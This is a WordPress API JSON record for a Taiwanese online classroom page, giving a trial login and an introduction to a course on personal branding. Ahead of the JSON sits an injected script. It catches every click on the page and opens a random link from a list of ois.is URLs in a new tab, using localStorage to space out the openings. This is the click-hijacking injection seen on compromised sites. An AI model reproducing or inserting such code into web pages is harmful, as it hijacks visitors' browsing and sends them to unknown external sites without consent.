<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":75,"date":"2014-05-20T12:00:29","date_gmt":"2014-05-20T04:00:29","guid":{"rendered":"http:\/\/210.61.8.31\/wenft_student\/?page_id=75"},"modified":"2015-07-30T22:30:55","modified_gmt":"2015-07-30T14:30:55","slug":"%e6%88%91%e7%9a%84%e7%b7%9a%e4%b8%8a%e6%95%99%e5%ae%a4","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/scu8154204\/?page_id=75","title":{"rendered":"\u6211\u7684\u96f2\u7aef\u6559\u5ba4"},"content":{"rendered":"<table style=\"width: 693px; height: 186px;\">\n<tbody>\n<tr>\n<td style=\"width: 200px; text-align: center;\" rowspan=\"3\"><a href=\"http:\/\/si.secda.info\/moni\/wp-content\/uploads\/2014\/04\/88019123.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-540\" alt=\"88019123\" src=\"http:\/\/si.secda.info\/moni\/wp-content\/uploads\/2014\/04\/88019123.jpg\" width=\"217\" height=\"227\" \/><\/a><\/td>\n<td>\n<h1><a href=\"http:\/\/service.secda.info:8001\/siel_kms\" target=\"_blank\"><strong>\u9032\u5165\u6559\u5ba4<\/strong><\/a><\/h1>\n<p><span style=\"color: #808080; font-size: medium; line-height: 1.3em;\">\uff08\u7576\u60a8\u9032\u5165\u6559\u5ba4\u5f8c\u95b1\u8b80\u5b8c\u5f8c\uff0c\u8acb\u8a18\u5f97\u9ede\u64ca\u4e0a\u65b9\u7684\u301dX\u301e\u300c\u767b\u51fa\u300d\uff09<\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"color: #000000;\"><span style=\"font-size: large;\">\u8a66\u8b80\u5e33\u865f\uff1a\u00a0siuser<\/span><\/span><\/td>\n<\/tr>\n<tr>\n<td><span style=\"font-size: large; color: #000000;\">\u8a66\u8b80\u5bc6\u78bc\uff1a\u00a0siuser<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><span style=\"color: #0000ff;\">\u203b\u8a66\u8b80\u8ab2\u7a0b\u4ecb\u7d39\uff1a<\/span><\/p>\n<p style=\"padding-left: 30px;\">\u300c<span style=\"color: #0000ff;\"><strong>\u70ba\u4ec0\u9ebc\u8981\u5efa\u69cb\u500b\u4eba\u54c1\u724c\u5e73\u53f0<\/strong>\u300d\uff08\u5be6\u8e10\u5927\u5b78 \u8521\u653f\u5b89\u6559\u6388\uff09<\/span><\/p>\n<p><span style=\"color: #0000ff;\">\u9762\u5c0d\u7db2\u8def\u7d93\u6fdf\u96fb\u5b50\u5546\u52d9\u6642\u4ee3\uff0c\u672c\u7247\u8aaa\u660e\u500b\u4eba\u54c1\u724c\u908f\u8f2f\u3001\u6838\u5fc3\u6982\u5ff5\uff0c\u81ea\u6211\u8a8d\u8b58\u3001\u6838\u5fc3\u50f9\u503c\u3001\u9069\u6027\u5de5\u4f5c\u4e09\u8005\u5b9a\u4f4d\u7684\u95dc\u4fc2\uff0c\u751f\u6daf\u898f\u5283\u7684\u6982\u8981\uff0c\u4e26\u793a\u7bc4\u5305\u88dd\u884c\u92b7\u500b\u4eba\u54c1\u724c\u5e73\u53f0\u7684\u5167\u5bb9\u3002<\/span><\/p>\n<p>\u203b \u7dda\u4e0a\u64ad\u653e\u7684\u9806\u66a2\u5ea6\u53d6\u6c7a\u65bc\u60a8\u7db2\u8def\u9023\u7dda\u7684\u983b\u5bec\u8207\u786c\u9ad4\u8a2d\u5099\u7684\u6548\u80fd\uff0c\u901a\u5e38\u7576\u9ede\u9078\u8ab2\u7a0b\u958b\u59cb\u64ad\u653e\uff0c\u51fa\u73fe\u9ed1\u8272\u71df\u5e55\u5f8c\uff0c\u7d04\u5728 5 \u5230 10 \u79d2\u5167\u53ef\u4ee5\u958b\u59cb\u6536\u807d\u8ab2\u7a0b\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u9032\u5165\u6559\u5ba4 \uff08\u7576\u60a8\u9032\u5165\u6559\u5ba4\u5f8c\u95b1\u8b80\u5b8c\u5f8c\uff0c\u8acb\u8a18\u5f97\u9ede\u64ca\u4e0a\u65b9\u7684\u301dX\u301e\u300c\u767b\u51fa\u300d\uff09 \u8a66\u8b80\u5e33\u865f\uff1a<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":615,"menu_order":1,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/pages\/75"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=75"}],"version-history":[{"count":16,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/pages\/75\/revisions"}],"predecessor-version":[{"id":781,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/pages\/75\/revisions\/781"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/pages\/615"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=75"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}